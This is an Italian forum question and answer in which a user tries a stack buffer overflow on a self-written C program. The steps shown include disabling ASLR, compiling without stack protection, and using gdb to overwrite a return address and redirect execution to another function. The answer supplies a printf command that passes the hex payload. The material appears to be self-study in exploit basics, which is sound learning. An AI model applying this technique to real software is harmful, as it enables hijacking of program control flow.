cercando di bufferizzare l'overflow del semplice programma c

2

Sto avendo problemi nel buffer overflow di un semplice programma c che prende input dalla riga di comando, questo è il codice main.c:

#include <stdio.h>
#include <string.h>
void func(char *name)
{
   char buf[10];
   strcpy(buf, name);
}
void chgflow(){
     printf("changed flow!!\n");
}
void main(int argc, char *argv[])
{
  func(argv[1]);
  printf("i should not be viewed if flow is changed\n");
  chgflow();
} 

questa è la versione dell'assembly presa da objdump -d ./main:

<main>:
 5a3:   8d 4c 24 04             lea    0x4(%esp),%ecx
 5a7:   83 e4 f0                and    $0xfffffff0,%esp
 5aa:   ff 71 fc                pushl  -0x4(%ecx)
 5ad:   55                      push   %ebp
 5ae:   89 e5                   mov    %esp,%ebp
 5b0:   53                      push   %ebx
 5b1:   51                      push   %ecx
 5b2:   e8 99 fe ff ff          call   450 <__x86.get_pc_thunk.bx>
 5b7:   81 c3 49 1a 00 00       add    $0x1a49,%ebx
 5bd:   89 c8                   mov    %ecx,%eax
 5bf:   8b 40 04                mov    0x4(%eax),%eax
 5c2:   83 c0 04                add    $0x4,%eax
 5c5:   8b 00                   mov    (%eax),%eax
 5c7:   83 ec 0c                sub    $0xc,%esp
 5ca:   50                      push   %eax
 5cb:   e8 7d ff ff ff          call   54d <func>
 5d0:   83 c4 10                add    $0x10,%esp
 5d3:   83 ec 0c                sub    $0xc,%esp
 5d6:   8d 83 90 e6 ff ff       lea    -0x1970(%ebx),%eax
 5dc:   50                      push   %eax
 5dd:   e8 fe fd ff ff          call   3e0 <puts@plt>
 5e2:   83 c4 10                add    $0x10,%esp
 5e5:   e8 8e ff ff ff          call   578 <chgflow>
 5ea:   90                      nop
 5eb:   8d 65 f8                lea    -0x8(%ebp),%esp
 5ee:   59                      pop    %ecx
 5ef:   5b                      pop    %ebx
 5f0:   5d                      pop    %ebp
 5f1:   8d 61 fc                lea    -0x4(%ecx),%esp
 5f4:   c3                      ret

<func>:
 54d:   55                      push   %ebp
 54e:   89 e5                   mov    %esp,%ebp
 550:   53                      push   %ebx
 551:   83 ec 14                sub    $0x14,%esp
 554:   e8 9c 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 559:   05 a7 1a 00 00          add    $0x1aa7,%eax
 55e:   83 ec 08                sub    $0x8,%esp
 561:   ff 75 08                pushl  0x8(%ebp)
 564:   8d 55 ee                lea    -0x12(%ebp),%edx
 567:   52                      push   %edx
 568:   89 c3                   mov    %eax,%ebx
 56a:   e8 61 fe ff ff          call   3d0 <strcpy@plt>
 56f:   83 c4 10                add    $0x10,%esp
 572:   90                      nop
 573:   8b 5d fc                mov    -0x4(%ebp),%ebx
 576:   c9                      leave
 577:   c3                      ret

<chgflow>:
 578:   55                      push   %ebp
 579:   89 e5                   mov    %esp,%ebp
 57b:   53                      push   %ebx
 57c:   83 ec 04                sub    $0x4,%esp
 57f:   e8 71 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 584:   05 7c 1a 00 00          add    $0x1a7c,%eax
 589:   83 ec 0c                sub    $0xc,%esp
 58c:   8d 90 80 e6 ff ff       lea    -0x1980(%eax),%edx
 592:   52                      push   %edx
 593:   89 c3                   mov    %eax,%ebx
 595:   e8 46 fe ff ff          call   3e0 <puts@plt>
 59a:   83 c4 10                add    $0x10,%esp
 59d:   90                      nop
 59e:   8b 5d fc                mov    -0x4(%ebp),%ebx
 5a1:   c9                      leave
 5a2:   c3                      ret

prima di tutto ho eseguito:

echo 0 > /proc/sys/kernel/randomize_va_space

quindi compilato main.c:

gcc -m32 -g main.c -o main -fno-stack-protector

quando termina la funzione func voglio sovrascrivere l'indirizzo ret regolare e puntare alla funzione chgflow , ignorando quindi l'istruzione successiva regolare:

printf("i should not be viewed if flow is changed\n");

per eseguire il debug del main.c e controllare quali indirizzi di memoria sono presenti:

gdb ./main
go
disas main
disas chgflow

e questo è quello che ho trovato per disas main:

0x565555cb <+40>:    call   0x5655554d <func>
0x565555d0 <+45>:    add    $0x10,%esp

e per chgflow:

Dump of assembler code for function chgflow:
0x56555578 <+0>:     push   %ebp

Quindi posso capire che:

0x565555d0 <+45>:    add    $0x10,%esp

è l'indirizzo di ret regolare (e l'istruzione successiva) dopo che func termina e 0x56555578 è la prima istruzione della funzione chgflow . Ora devo controllare l'assemblaggio di func per capire quanti caratteri A (diciamo) ho bisogno di riempire lo stack; da questa linea:

564:   8d 55 ee                lea    -0x12(%ebp),%edx

Capisco di aver bisogno di 18Byte + 4 Byte di A stuffing per arrivare a Ret address. Per confermare questo ho eseguito di nuovo:

gdb ./main
break 7
run AAAAAAAAAAAAAAAAAAAAAA

("A" ripetuto 22 volte)

(gdb) x/s $ebp-18
0xffffd2a6: 'A' <repeats 22 times>
(gdb) x/s $ebp
0xffffd2b8: "AAAA"
(gdb) x/x $ebp+4
0xffffd2bc: 0x00

il mio test è terminato qui perché non riesco a capire perché (gdb) x/x $ebp+4 che dovrebbe essere l'indirizzo Ret, visualizza 0x00 come risultato. Mi aspettavo che l'indirizzo ret non cambiasse da quello normale 0x565555d0 . Ma hey! 0x00 dovrebbe essere il terminatore no? Quindi sono andato avanti e ho eseguito un altro test con 21 "A" e il risultato è corretto questa volta:

(gdb) x/x $ebp+4
0xffffd2bc: 0x565555d0

La mia ultima necessità è ora di sovrascrivere l'indirizzo di ritorno con 0x56555578, cioè l'indirizzo della prima istruzione della funzione chgflow . Ho eseguito il test precedente con questo sostituito:

run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56

("A" si ripete 21 volte) ma gdb mi ha dato:

Breakpoint 1, func (nome = 0x35357835) su main.c: 7

e questo è ciò che posso vedere dalla memoria:

(gdb) x/x $ebp+4
0xffffd2ac: 0x37
(gdb) x/s $ebp+4
0xffffd2ac: "78x55x55x56"

finalmente non sono riuscito a passare a chgflow

Chiunque può aiutarmi con questo? lo apprezzerei davvero. saluti Marco

    
posta Marco_81 20.02.2018 - 16:29
fonte

1 risposta

1

Quando esegui run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56 , non analizza le sequenze di escape esadecimali. I backslash sono presi in modo simile alle sequenze di escape (ad es., \ N) ma i caratteri esadecimali non sono supportati.

Per ottenere le sequenze esadecimali convertite in caratteri, è necessario utilizzare un programma esterno. Poiché hai solo bisogno di convertire una sequenza letterale, la più semplice da usare è printf:

run $(printf "AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56")
    
risposta data 20.02.2018 - 18:01
fonte

Leggi altre domande sui tag